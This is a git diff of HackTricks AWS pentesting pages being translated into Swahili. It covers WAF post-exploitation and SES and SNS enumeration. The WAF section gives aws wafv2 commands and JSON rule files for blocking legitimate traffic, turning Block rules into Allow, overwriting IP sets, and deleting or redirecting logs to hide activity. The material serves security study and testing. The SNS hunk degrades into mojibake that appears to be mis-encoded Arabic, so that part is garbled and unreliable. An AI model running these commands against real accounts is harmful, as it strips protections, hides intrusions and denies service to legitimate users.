masharti ya sheria. Hii ni muhimu kwa majaribio ya sheria, kuthibitisha usahihi wa sheria kabla ya kuweka kuwa Ruhusu au Zuia. +- **CAPTCHA na Changamoto:** Inathibitishwa kwamba ombi halitoki kwa roboti kwa kutumia puzzles za CAPTCHA na changamoto za kimya. -If a request doesn't match any rule within the Web ACL, it undergoes the **default action** (Allow or Block). The order of rule execution, defined within a Web ACL, is crucial and typically follows this sequence: +Ikiwa ombi halifai na sheria yoyote ndani ya Web ACL, linapitia **hatua ya default** (Ruhusu au Zuia). Mpangilio wa utekelezaji wa sheria, uliofafanuliwa ndani ya Web ACL, ni muhimu na kawaida unafuata mpangilio huu: -1. Allow Whitelisted IPs. -2. Block Blacklisted IPs. -3. Block requests matching any detrimental signatures. +1. Ruhusu IP zilizoorodheshwa. +2. Zuia IP zilizoorodheshwa. +3. Zuia maombi yanayolingana na saini yoyote mbaya. #### CloudWatch Integration -AWS WAF integrates with CloudWatch for monitoring, offering metrics like AllowedRequests, BlockedRequests, CountedRequests, and PassedRequests. These metrics are reported every minute by default and retained for a period of two weeks. +AWS WAF inajumuisha na CloudWatch kwa ajili ya ufuatiliaji, ikitoa vipimo kama vile AllowedRequests, BlockedRequests, CountedRequests, na PassedRequests. Vipimo hivi vinaripotiwa kila dakika kwa msingi na vinahifadhiwa kwa kipindi cha wiki mbili. ### Enumeration -In order to interact with CloudFront distributions, you must specify the Region US East (N. Virginia): +Ili kuingiliana na usambazaji wa CloudFront, lazima ubainishe Eneo la US East (N. Virginia): -- CLI - Specify the Region US East when you use the CloudFront scope: `--scope CLOUDFRONT --region=us-east-1` . -- API and SDKs - For all calls, use the Region endpoint us-east-1. +- CLI - Baini Eneo la US East unapotumia scope ya CloudFront: `--scope CLOUDFRONT --region=us-east-1`. +- API na SDKs - Kwa simu zote, tumia mwisho wa eneo la us-east-1. -In order to interact with regional services, you should specify the region: - -- Example with the region Europe (Spain): `--scope REGIONAL --region=eu-south-2` +Ili kuingiliana na huduma za kikanda, unapaswa kubainisha eneo: +- Mfano na eneo la Ulaya (Uhispania): `--scope REGIONAL --region=eu-south-2` ```bash # Web ACLs # @@ -146,7 +145,7 @@ aws wafv2 list-ip-sets --scope | CLOUDFRONT --region= aws wafv2 get-ip-set --name --id --scope | CLOUDFRONT --region=us-east-1> ## Retrieve the keys that are currently being managed by a rate-based rule. aws wafv2 get-rate-based-statement-managed-keys --scope | CLOUDFRONT --region=us-east-1>\ - --web-acl-name --web-acl-id --rule-name [--rule-group-rule-name ] +--web-acl-name --web-acl-id --rule-name [--rule-group-rule-name ] # Regex pattern sets # @@ -186,78 +185,70 @@ aws wafv2 list-mobile-sdk-releases --platform aws wafv2 get-mobile-sdk-release --platform --release-version ``` - ### Post Exploitation / Bypass > [!TIP] -> From an attackers perspective, this service can help the attacker to identify WAF protections and network exposures that could help him to compromise other webs. +> Kutoka kwa mtazamo wa mshambuliaji, huduma hii inaweza kumsaidia mshambuliaji kubaini ulinzi wa WAF na wazi za mtandao ambazo zinaweza kumsaidia kuathiri tovuti nyingine. > -> However, an attacker could also be interested in disrupting this service so the webs aren't protected by the WAF. +> Hata hivyo, mshambuliaji anaweza pia kuwa na hamu ya kuharibu huduma hii ili tovuti zisihifadhiwe na WAF. -In many of the Delete and Update operations it would be necessary to provide the **lock token**. This token is used for concurrency control over the resources, ensuring that changes are not accidentally overwritten by multiple users or processes attempting to update the same resource simultaneously. In order to obtain this token you could perform the correspondent **list** or **get** operations over the specific resource. +Katika nyingi ya operesheni za Kufuta na Kusasisha itakuwa muhimu kutoa **lock token**. Token hii inatumika kwa udhibiti wa ushirikiano juu ya rasilimali, kuhakikisha kwamba mabadiliko hayakosi kwa bahati na watumiaji au michakato kadhaa wanaojaribu kusasisha rasilimali hiyo hiyo kwa wakati mmoja. Ili kupata token hii unaweza kufanya operesheni husika za **list** au **get** juu ya rasilimali maalum. #### **`wafv2:CreateRuleGroup`, `wafv2:UpdateRuleGroup`, `wafv2:DeleteRuleGroup`** -An attacker would be able to compromise the security of the affected resource by: - -- Creating rule groups that could, for instance, block legitimate traffic from legitimate IP addresses, causing a denial of service. -- Updating rule groups, being able to modify its actions for example from **Block** to **Allow**. -- Deleting rule groups that provide critical security measures. +Mshambuliaji angeweza kuathiri usalama wa rasilimali iliyoathiriwa kwa: +- Kuunda vikundi vya sheria ambavyo vinaweza, kwa mfano, kuzuia trafiki halali kutoka kwa anwani halali za IP, na kusababisha kukatizwa kwa huduma. +- Kusasisha vikundi vya sheria, akiwa na uwezo wa kubadilisha vitendo vyake kwa mfano kutoka **Block** hadi **Allow**. +- Kufuta vikundi vya sheria vinavyotoa hatua muhimu za usalama. ```bash # Create Rule Group aws wafv2 create-rule-group --name --capacity --visibility-config \ --scope | CLOUDFRONT --region=us-east-1> [--rules ] [--description ] # Update Rule Group aws wafv2 update-rule-group --name --id --visibility-config --lock-token \ - --scope | CLOUDFRONT --region=us-east-1> [--rules ] [--description ] +--scope | CLOUDFRONT --region=us-east-1> [--rules ] [--description ] # Delete Rule Group aws wafv2 delete-rule-group --name --id --lock-token --scope | CLOUDFRONT --region=us-east-1> ``` - -The following examples shows a rule group that would block legitimate traffic from specific IP addresses: - +Mifano ifuatayo inaonyesha kikundi cha sheria ambacho kingezuia trafiki halali kutoka kwa anwani maalum za IP: ```bash aws wafv2 create-rule-group --name BlockLegitimateIPsRuleGroup --capacity 1 --visibility-config SampledRequestsEnabled=false,CloudWatchMetricsEnabled=false,MetricName=BlockLegitimateIPsRuleGroup --scope CLOUDFRONT --region us-east-1 --rules file://rule.json ``` - -The **rule.json** file would look like: - +Faili la **rule.json** litakuwa na muonekano kama: ```json [ - { - "Name": "BlockLegitimateIPsRule", - "Priority": 0, - "Statement": { - "IPSetReferenceStatement": { - "ARN": "arn:aws:wafv2:us-east-1:123456789012:global/ipset/legitIPv4/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" - } - }, - "Action": { - "Block": {} - }, - "VisibilityConfig": { - "SampledRequestsEnabled": false, - "CloudWatchMetricsEnabled": false, - "MetricName": "BlockLegitimateIPsRule" - } - } +{ +"Name": "BlockLegitimateIPsRule", +"Priority": 0, +"Statement": { +"IPSetReferenceStatement": { +"ARN": "arn:aws:wafv2:us-east-1:123456789012:global/ipset/legitIPv4/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" +} +}, +"Action": { +"Block": {} +}, +"VisibilityConfig": { +"SampledRequestsEnabled": false, +"CloudWatchMetricsEnabled": false, +"MetricName": "BlockLegitimateIPsRule" +} +} ] ``` - -**Potential Impact**: Unauthorized access, data breaches, and potential DoS attacks. +**Madhara Yanayoweza Kutokea**: Ufikiaji usioidhinishwa, uvunjaji wa data, na mashambulizi ya DoS yanayoweza kutokea. #### **`wafv2:CreateWebACL`, `wafv2:UpdateWebACL`, `wafv2:DeleteWebACL`** -With these permissions, an attacker would be able to: +Kwa ruhusa hizi, mshambuliaji angeweza: -- Create a new Web ACL, introducing rules that either allow malicious traffic through or block legitimate traffic, effectively rendering the WAF useless or causing a denial of service. -- Update existing Web ACLs, being able to modify rules to permit attacks such as SQL injection or cross-site scripting, which were previously blocked, or disrupt normal traffic flow by blocking valid requests. -- Delete a Web ACL, leaving the affected resources entirely unprotected, exposing it to a broad range of web attacks. +- Kuunda Web ACL mpya, kuanzisha sheria ambazo zinaruhusu trafiki mbaya kupita au kuzuia trafiki halali, hivyo kufanya WAF kuwa haina maana au kusababisha kukatizwa kwa huduma. +- Kusasisha Web ACL zilizopo, akiwa na uwezo wa kubadilisha sheria ili kuruhusu mashambulizi kama vile SQL injection au cross-site scripting, ambayo hapo awali yalikuwa yamezuiliwa, au kuharibu mtiririko wa trafiki wa kawaida kwa kuzuia maombi halali. +- Kufuta Web ACL, kuacha rasilimali zilizoathiriwa zisizo na ulinzi kabisa, na kuziweka katika hatari ya mashambulizi mbalimbali ya mtandao. > [!NOTE] -> You can only delete the specified **WebACL** if **ManagedByFirewallManager** is false. - +> Unaweza kufuta tu **WebACL** iliyotajwa ikiwa **ManagedByFirewallManager** ni uongo. ```bash # Create Web ACL aws wafv2 create-web-acl --name --default-action --visibility-config \ @@ -268,119 +259,109 @@ aws wafv2 update-web-acl --name --id --default-action -- # Delete Web ACL aws wafv2 delete-web-acl --name --id --lock-token --scope | CLOUDFRONT --region=us-east-1> ``` - -The following examples shows how to update a Web ACL to block the legitimate traffic from a specific IP set. If the origin IP does not match any of those IPs, the default action would also be blocking it, causing a DoS. +Mifano ifuatayo inaonyesha jinsi ya kuboresha Web ACL ili kuzuia trafiki halali kutoka kwa seti maalum ya IP. Ikiwa IP ya asili haitalingana na yoyote ya hizo IP, hatua ya default itakuwa pia kuzuia, na kusababisha DoS. **Original Web ACL**: - ```json { - "WebACL": { - "Name": "AllowLegitimateIPsWebACL", - "Id": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f", - "ARN": "arn:aws:wafv2:us-east-1:123456789012:regional/webacl/AllowLegitimateIPsWebACL/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f", - "DefaultAction": { - "Allow": {} - }, - "Description": "", - "Rules": [ - { - "Name": "AllowLegitimateIPsRule", - "Priority": 0, - "Statement": { - "IPSetReferenceStatement": { - "ARN": "arn:aws:wafv2:us-east-1:123456789012:regional/ipset/LegitimateIPv4/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" - } - }, - "Action": { - "Allow": {} - }, - "VisibilityConfig": { - "SampledRequestsEnabled": false, - "CloudWatchMetricsEnabled": false, - "MetricName": "AllowLegitimateIPsRule" - } - } - ], - "VisibilityConfig": { - "SampledRequestsEnabled": false, - "CloudWatchMetricsEnabled": false, - "MetricName": "AllowLegitimateIPsWebACL" - }, - "Capacity": 1, - "ManagedByFirewallManager": false, - "LabelNamespace": "awswaf:123456789012:webacl:AllowLegitimateIPsWebACL:" - }, - "LockToken": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" +"WebACL": { +"Name": "AllowLegitimateIPsWebACL", +"Id": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f", +"ARN": "arn:aws:wafv2:us-east-1:123456789012:regional/webacl/AllowLegitimateIPsWebACL/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f", +"DefaultAction": { +"Allow": {} +}, +"Description": "", +"Rules": [ +{ +"Name": "AllowLegitimateIPsRule", +"Priority": 0, +"Statement": { +"IPSetReferenceStatement": { +"ARN": "arn:aws:wafv2:us-east-1:123456789012:regional/ipset/LegitimateIPv4/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" +} +}, +"Action": { +"Allow": {} +}, +"VisibilityConfig": { +"SampledRequestsEnabled": false, +"CloudWatchMetricsEnabled": false, +"MetricName": "AllowLegitimateIPsRule" +} +} +], +"VisibilityConfig": { +"SampledRequestsEnabled": false, +"CloudWatchMetricsEnabled": false, +"MetricName": "AllowLegitimateIPsWebACL" +}, +"Capacity": 1, +"ManagedByFirewallManager": false, +"LabelNamespace": "awswaf:123456789012:webacl:AllowLegitimateIPsWebACL:" +}, +"LockToken": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" } ``` - -Command to update the Web ACL: - +Amri ya kusasisha Web ACL: ```json aws wafv2 update-web-acl --name AllowLegitimateIPsWebACL --scope REGIONAL --id 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --lock-token 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --default-action Block={} --visibility-config SampledRequestsEnabled=false,CloudWatchMetricsEnabled=false,MetricName=AllowLegitimateIPsWebACL --rules file://rule.json --region us-east-1 ``` - -The **rule.json** file would look like: - +Faili la **rule.json** litakuwa na muonekano kama: ```json [ - { - "Name": "BlockLegitimateIPsRule", - "Priority": 0, - "Statement": { - "IPSetReferenceStatement": { - "ARN": "arn:aws:wafv2:us-east-1:123456789012:regional/ipset/LegitimateIPv4/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" - } - }, - "Action": { - "Block": {} - }, - "VisibilityConfig": { - "SampledRequestsEnabled": false, - "CloudWatchMetricsEnabled": false, - "MetricName": "BlockLegitimateIPRule" - } - } +{ +"Name": "BlockLegitimateIPsRule", +"Priority": 0, +"Statement": { +"IPSetReferenceStatement": { +"ARN": "arn:aws:wafv2:us-east-1:123456789012:regional/ipset/LegitimateIPv4/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" +} +}, +"Action": { +"Block": {} +}, +"VisibilityConfig": { +"SampledRequestsEnabled": false, +"CloudWatchMetricsEnabled": false, +"MetricName": "BlockLegitimateIPRule" +} +} ] ``` - -**Potential Impact**: Unauthorized access, data breaches, and potential DoS attacks. +**Madhara Yanayoweza Kutokea**: Ufikiaji usioidhinishwa, uvunjaji wa data, na mashambulizi ya DoS yanayoweza kutokea. #### **`wafv2:AssociateWebACL`, `wafv2:DisassociateWebACL`** -The **`wafv2:AssociateWebACL`** permission would allow an attacker to associate web ACLs (Access Control Lists) with resources, being able to bypass security controls, allowing unauthorized traffic to reach the application, potentially leading to exploits like SQL injection or cross-site scripting (XSS). Conversely, with the **`wafv2:DisassociateWebACL`** permission, the attacker could temporarily disable security protections, exposing the resources to vulnerabilities without detection. +Ruhusa ya **`wafv2:AssociateWebACL`** ingemruhusu mshambuliaji kuunganisha web ACLs (Orodha za Udhibiti wa Ufikiaji) na rasilimali, akiwa na uwezo wa kupita udhibiti wa usalama, kuruhusu trafiki isiyoidhinishwa kufikia programu, ambayo inaweza kusababisha matumizi mabaya kama vile SQL injection au cross-site scripting (XSS). Kinyume chake, kwa ruhusa ya **`wafv2:DisassociateWebACL`**, mshambuliaji anaweza kuzima ulinzi wa usalama kwa muda, akifichua rasilimali kwa hatari bila kugundulika. -The additional permissions would be needed depending on the protected resource type: - -- **Associate** - - apigateway:SetWebACL - - apprunner:AssociateWebAcl - - appsync:SetWebACL - - cognito-idp:AssociateWebACL - - ec2:AssociateVerifiedAccessInstanceWebAcl - - elasticloadbalancing:SetWebAcl -- **Disassociate** - - apigateway:SetWebACL - - apprunner:DisassociateWebAcl - - appsync:SetWebACL - - cognito-idp:DisassociateWebACL - - ec2:DisassociateVerifiedAccessInstanceWebAcl - - elasticloadbalancing:SetWebAcl +Ruhusa za ziada zitahitajika kulingana na aina ya rasilimali iliyolindwa: +- **Unganisha** +- apigateway:SetWebACL +- apprunner:AssociateWebAcl +- appsync:SetWebACL +- cognito-idp:AssociateWebACL +- ec2:AssociateVerifiedAccessInstanceWebAcl +- elasticloadbalancing:SetWebAcl +- **Tenganisha** +- apigateway:SetWebACL +- apprunner:DisassociateWebAcl +- appsync:SetWebACL +- cognito-idp:DisassociateWebACL +- ec2:DisassociateVerifiedAccessInstanceWebAcl +- elasticloadbalancing:SetWebAcl ```bash # Associate aws wafv2 associate-web-acl --web-acl-arn --resource-arn # Disassociate aws wafv2 disassociate-web-acl --resource-arn ``` - -**Potential Impact**: Compromised resources security, increased risk of exploitation, and potential service disruptions within AWS environments protected by AWS WAF. +**Madhara Yanayoweza Kutokea**: Usalama wa rasilimali ulioathiriwa, ongezeko la hatari ya unyakuzi, na uwezekano wa usumbufu wa huduma ndani ya mazingira ya AWS yaliyolindwa na AWS WAF. #### **`wafv2:CreateIPSet` , `wafv2:UpdateIPSet`, `wafv2:DeleteIPSet`** -An attacker would be able to create, update and delete the IP sets managed by AWS WAF. This could be dangerous since could create new IP sets to allow malicious traffic, modify IP sets in order to block legitimate traffic, update existing IP sets to include malicious IP addresses, remove trusted IP addresses or delete critical IP sets that are meant to protect critical resources. - +Mshambuliaji angeweza kuunda, kusasisha na kufuta seti za IP zinazodhibitiwa na AWS WAF. Hii inaweza kuwa hatari kwani inaweza kuunda seti mpya za IP kuruhusu trafiki mbaya, kubadilisha seti za IP ili kuzuia trafiki halali, kusasisha seti za IP zilizopo ili kujumuisha anwani za IP mbaya, kuondoa anwani za IP zinazotegemewa au kufuta seti muhimu za IP ambazo zinapaswa kulinda rasilimali muhimu. ```bash # Create IP set aws wafv2 create-ip-set --name --ip-address-version --addresses --scope | CLOUDFRONT --region=us-east-1> @@ -389,23 +370,19 @@ aws wafv2 update-ip-set --name --id --addresses --lock-t # Delete IP set aws wafv2 delete-ip-set --name --id --lock-token --scope | CLOUDFRONT --region=us-east-1> ``` - -The following example shows how to **overwrite the existing IP set by the desired IP set**: - +Mfano ufuatao unaonyesha jinsi ya **kufuta seti ya IP iliyopo kwa seti ya IP inayotakiwa**: ```bash aws wafv2 update-ip-set --name LegitimateIPv4Set --id 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --addresses 99.99.99.99/32 --lock-token 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --scope CLOUDFRONT --region us-east-1 ``` - -**Potential Impact**: Unauthorized access and block of legitimate traffic. +**Madhara Yanayoweza Kutokea**: Ufikiaji usioidhinishwa na kuzuia trafiki halali. #### **`wafv2:CreateRegexPatternSet`** , **`wafv2:UpdateRegexPatternSet`**, **`wafv2:DeleteRegexPatternSet`** -An attacker with these permissions would be able to manipulate the regular expression pattern sets used by AWS WAF to control and filter incoming traffic based on specific patterns. - -- Creating new regex patterns would help an attacker to allow harmful content -- Updating the existing patterns, an attacker would to bypass security rules -- Deleting patterns that are designed to block malicious activities could lead an attacker to the send malicious payloads and bypass the security measures. +Mshambuliaji mwenye ruhusa hizi angeweza kubadilisha seti za mifumo ya kawaida ya regex zinazotumiwa na AWS WAF kudhibiti na kuchuja trafiki inayokuja kulingana na mifumo maalum. +- Kuunda mifumo mipya ya regex kungemsaidia mshambuliaji kuruhusu maudhui hatari +- Kusasisha mifumo iliyopo, mshambuliaji angeweza kupita sheria za usalama +- Kufuta mifumo ambayo imeundwa kuzuia shughuli mbaya kunaweza kumsaidia mshambuliaji kutuma payload hatari na kupita hatua za usalama. ```bash # Create regex pattern set aws wafv2 create-regex-pattern-set --name --regular-expression-list --scope | CLOUDFRONT --region=us-east-1> [--description ] @@ -414,62 +391,51 @@ aws wafv2 update-regex-pattern-set --name --id --regular-express # Delete regex pattern set aws wafv2 delete-regex-pattern-set --name --scope | CLOUDFRONT --region=us-east-1> --id --lock-token ``` - -**Potential Impact**: Bypass security controls, allowing malicious content and potentially exposing sensitive data or disrupting services and resources protected by AWS WAF. +**Madhara Yanayoweza Kutokea**: Kupita udhibiti wa usalama, kuruhusu maudhui mabaya na kwa uwezekano kufichua data nyeti au kuharibu huduma na rasilimali zinazolindwa na AWS WAF. #### **(`wavf2:PutLoggingConfiguration` &** `iam:CreateServiceLinkedRole`), **`wafv2:DeleteLoggingConfiguration`** -An attacker with the **`wafv2:DeleteLoggingConfiguration`** would be able to remove the logging configuration from the specified Web ACL. Subsequently, with the **`wavf2:PutLoggingConfiguration`** and **`iam:CreateServiceLinkedRole`** permissions, an attacker could create or replace logging configurations (after having deleted it) to either prevent logging altogether or redirect logs to unauthorized destinations, such as Amazon S3 buckets, Amazon CloudWatch Logs log group or an Amazon Kinesis Data Firehose under control. +Mshambuliaji mwenye **`wafv2:DeleteLoggingConfiguration`** angeweza kuondoa usanidi wa uandishi wa kumbukumbu kutoka kwa Web ACL iliyoainishwa. Baadaye, kwa ruhusa za **`wavf2:PutLoggingConfiguration`** na **`iam:CreateServiceLinkedRole`**, mshambuliaji angeweza kuunda au kubadilisha usanidi wa uandishi wa kumbukumbu (baada ya kuondoa) ili kuzuia uandishi wa kumbukumbu kabisa au kuelekeza kumbukumbu kwenye maeneo yasiyoidhinishwa, kama vile ndoo za Amazon S3, kundi la kumbukumbu za Amazon CloudWatch Logs au Amazon Kinesis Data Firehose chini ya udhibiti. -During the creation process, the service automatically sets up the necessary permissions to allow logs to be written to the specified logging destination: +Wakati wa mchakato wa uundaji, huduma huweka kiotomatiki ruhusa zinazohitajika kuruhusu kumbukumbu kuandikwa kwenye eneo lililoainishwa la uandishi: -- **Amazon CloudWatch Logs:** AWS WAF creates a resource policy on the designated CloudWatch Logs log group. This policy ensures that AWS WAF has the permissions required to write logs to the log group. -- **Amazon S3 Bucket:** AWS WAF creates a bucket policy on the designated S3 bucket. This policy grants AWS WAF the permissions necessary to upload logs to the specified bucket. -- **Amazon Kinesis Data Firehose:** AWS WAF creates a service-linked role specifically for interacting with Kinesis Data Firehose. This role allows AWS WAF to deliver logs to the configured Firehose stream. +- **Amazon CloudWatch Logs:** AWS WAF inaunda sera ya rasilimali kwenye kundi la kumbukumbu la CloudWatch Logs lililoainishwa. Sera hii inahakikisha kwamba AWS WAF ina ruhusa zinazohitajika kuandika kumbukumbu kwenye kundi la kumbukumbu. +- **Amazon S3 Bucket:** AWS WAF inaunda sera ya ndoo kwenye ndoo ya S3 iliyoainishwa. Sera hii inampa AWS WAF ruhusa zinazohitajika kupakia kumbukumbu kwenye ndoo iliyoainishwa. +- **Amazon Kinesis Data Firehose:** AWS WAF inaunda jukumu lililounganishwa na huduma mahsusi kwa ajili ya kuingiliana na Kinesis Data Firehose. Jukumu hili linaruhusu AWS WAF kuwasilisha kumbukumbu kwenye mtiririko wa Firehose ulioanzishwa. > [!NOTE] -> It is possible to define only one logging destination per web ACL. - +> Inawezekana kufafanua eneo moja tu la uandishi kwa kila web ACL. ```bash # Put logging configuration aws wafv2 put-logging-configuration --logging-configuration # Delete logging configuration aws wafv2 delete-logging-configuration --resource-arn [--log-scope ] [--log-type ] ``` - -**Potential Impact:** Obscure visibility into security events, difficult the incident response process, and facilitate covert malicious activities within AWS WAF-protected environments. +**Madhara Yanayoweza Kutokea:** Kuondoa uwazi katika matukio ya usalama, kuleta ugumu katika mchakato wa majibu ya tukio, na kuwezesha shughuli za uhalifu zisizoonekana ndani ya mazingira yaliyo na ulinzi wa AWS WAF. #### **`wafv2:DeleteAPIKey`** -An attacker with this permissions would be able to delete existing API keys, rendering the CAPTCHA ineffective and disrupting the functionality that relies on it, such as form submissions and access controls. Depending on the implementation of this CAPTCHA, this could lead either to a CAPTCHA bypass or to a DoS if the error management is not properly set in the resource. - +Mshambuliaji mwenye ruhusa hii angeweza kufuta funguo za API zilizopo, na kufanya CAPTCHA isifanye kazi na kuharibu kazi inayotegemea hiyo, kama vile uwasilishaji wa fomu na udhibiti wa ufikiaji. Kulingana na utekelezaji wa CAPTCHA hii, hii inaweza kusababisha ama kupita CAPTCHA au DoS ikiwa usimamizi wa makosa haujawekwa vizuri katika rasilimali. ```bash # Delete API key aws wafv2 delete-api-key --api-key --scope | CLOUDFRONT --region=us-east-1> ``` - -**Potential Impact**: Disable CAPTCHA protections or disrupt application functionality, leading to security breaches and potential data theft. +**Madhara Yanayoweza Kutokea**: Kuondoa ulinzi wa CAPTCHA au kuharibu utendaji wa programu, na kusababisha uvunjaji wa usalama na wizi wa data unaoweza kutokea. #### **`wafv2:TagResource`, `wafv2:UntagResource`** -An attacker would be able to add, modify, or remove tags from AWS WAFv2 resources, such as Web ACLs, rule groups, IP sets, regex pattern sets, and logging configurations. - +Mshambuliaji angeweza kuongeza, kubadilisha, au kuondoa lebo kutoka kwa rasilimali za AWS WAFv2, kama vile Web ACLs, vikundi vya sheria, seti za IP, seti za mifumo ya regex, na mipangilio ya uandishi. ```bash # Tag aws wafv2 tag-resource --resource-arn --tags # Untag aws wafv2 untag-resource --resource-arn --tag-keys ``` +**Madhara Yanayoweza Kutokea**: Uharibifu wa rasilimali, uvujaji wa taarifa, udanganyifu wa gharama na usumbufu wa operesheni. -**Potential Impact**: Resource tampering, information leakage, cost manipulation and operational disruption. - -## References +## Marejeleo - [https://www.citrusconsulting.com/aws-web-application-firewall-waf/#:\~:text=Conditions%20allow%20you%20to%20specify,user%20via%20a%20web%20application](https://www.citrusconsulting.com/aws-web-application-firewall-waf/) - [https://docs.aws.amazon.com/service-authorization/latest/reference/list_awswafv2.html](https://docs.aws.amazon.com/service-authorization/latest/reference/list_awswafv2.html) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md index bc6af90f1..67b22cde4 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md @@ -4,43 +4,38 @@ ## Basic Information -Amazon Simple Email Service (Amazon SES) is designed for **sending and receiving emails**. It enables users to send transactional, marketing, or notification emails efficiently and securely at scale. It **integrates well with other AWS services**, providing a robust solution for managing email communications for businesses of all sizes. +Amazon Simple Email Service (Amazon SES) imeundwa kwa ajili ya **kutuma na kupokea barua pepe**. Inawawezesha watumiaji kutuma barua pepe za kibiashara, masoko, au arifa kwa ufanisi na kwa usalama kwa kiwango kikubwa. In **jumuisha vizuri na huduma nyingine za AWS**, ikitoa suluhisho thabiti la kusimamia mawasiliano ya barua pepe kwa biashara za ukubwa wote. -You need to register **identities**, which can be domains or emails addresses that will be able to interact with SES (e.g. send and receive emails). +Unahitaji kujiandikisha **vitambulisho**, ambavyo vinaweza kuwa majina ya kikoa au anwani za barua pepe ambazo zitakuwa na uwezo wa kuingiliana na SES (mfano: kutuma na kupokea barua pepe). ### SMTP User -It's possible to connect to a **SMTP server of AWS to perform actions** instead of using the AWS API (or in addition). For this you need to create a user with a policy such as: - +Inawezekana kuungana na **seva ya SMTP ya AWS ili kufanya vitendo** badala ya kutumia API ya AWS (au kuongeza). Kwa hili unahitaji kuunda mtumiaji mwenye sera kama: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Action": "ses:SendRawEmail", - "Resource": "*" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": "ses:SendRawEmail", +"Resource": "*" +} +] } ``` - -Then, gather the **API key and secret** of the user and run: - +Kisha, kusanya **API key and secret** ya mtumiaji na uendeshe: ```bash git clone https://github.com/lisenet/ses-smtp-converter.git cd ./ses-smtp-converter chmod u+x ./ses-smtp-conv.sh ./ses-smtp-conv.sh ``` - It's also possible to do this from the AWS console web. ### Enumeration > [!WARNING] -> Note that SES has 2 APIs: **`ses`** and **`sesv2`**. Some actions are in both APIs and others are just in one of the two. - +> Kumbuka kwamba SES ina API 2: **`ses`** na **`sesv2`**. Vitendo vingine viko katika API zote mbili na vingine viko tu katika moja ya hizo mbili. ```bash # Get info about the SES account aws sesv2 get-account @@ -117,15 +112,10 @@ aws ses get-send-quota ## Get statistics aws ses get-send-statistics ``` - -### Post Exploitation +### Baada ya Kutekeleza {{#ref}} ../aws-post-exploitation/aws-ses-post-exploitation.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md index cca4353cb..fa83cdb01 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md @@ -4,18 +4,17 @@ ## SNS -Amazon Simple Notification Service (Amazon SNS) is described as a **fully managed messaging service**. It supports both **application-to-application** (A2A) and **application-to-person** (A2P) communication types. +Amazon Simple Notification Service (Amazon SNS) in ŁˆŲµŁŁ‡Ų§ ŁƒŁ€ **Ų®ŲÆŁ…Ų© Ų±Ų³Ų§Ų¦Ł„ Ł…ŁŲÆŲ§Ų±Ų© ŲØŲ§Ł„ŁƒŲ§Ł…Ł„**. ŲŖŲÆŲ¹Ł… ŁƒŁ„ Ł…Ł† **Ų§Ł„ŲŖŲ·ŲØŁŠŁ‚ Ų„Ł„Ł‰ Ų§Ł„ŲŖŲ·ŲØŁŠŁ‚** (A2A) Łˆ **Ų§Ł„ŲŖŲ·ŲØŁŠŁ‚ Ų„Ł„Ł‰ Ų§Ł„Ų“Ų®Ųµ** (A2P) Ų£Ł†ŁˆŲ§Ų¹ Ų§Ł„Ų§ŲŖŲµŲ§Ł„. -Key features for A2A communication include **publish/subscribe (pub/sub) mechanisms**. These mechanisms introduce **topics**, crucial for enabling high-throughput, **push-based, many-to-many messaging**. This feature is highly advantageous in scenarios that involve distributed systems, microservices, and event-driven serverless architectures. By leveraging these topics, publisher systems can efficiently distribute messages to a **wide range of subscriber systems**, facilitating a fanout messaging pattern. +Ų§Ł„Ł…Ł…ŁŠŲ²Ų§ŲŖ Ų§Ł„Ų±Ų¦ŁŠŲ³ŁŠŲ© Ł„ŲŖŁˆŲ§ŲµŁ„ A2A ŲŖŲ“Ł…Ł„ **Ų¢Ł„ŁŠŲ§ŲŖ Ų§Ł„Ł†Ų“Ų±/Ų§Ł„Ų§Ų“ŲŖŲ±Ų§Łƒ (pub/sub)**. Ł‡Ų°Ł‡ Ų§Ł„Ų¢Ł„ŁŠŲ§ŲŖ ŲŖŁ‚ŲÆŁ… **Ł…ŁˆŲ§Ų¶ŁŠŲ¹**ŲŒ ŁˆŁ‡ŁŠ Ų¶Ų±ŁˆŲ±ŁŠŲ© Ł„ŲŖŁ…ŁƒŁŠŁ† **Ų§Ł„Ų±Ų³Ų§Ų¦Ł„ Ų§Ł„Ł…Ų¹ŲŖŁ…ŲÆŲ© Ų¹Ł„Ł‰ Ų§Ł„ŲÆŁŲ¹ŲŒ Ų°Ų§ŲŖ Ų§Ł„ŁƒŲ«Ų§ŁŲ© Ų§Ł„Ų¹Ų§Ł„ŁŠŲ©ŲŒ Ł…Ł† Ų§Ł„Ų¹ŲÆŁŠŲÆ Ų„Ł„Ł‰ Ų§Ł„Ų¹ŲÆŁŠŲÆ**. Ł‡Ų°Ł‡ Ų§Ł„Ł…ŁŠŲ²Ų© Ł…ŁŁŠŲÆŲ© 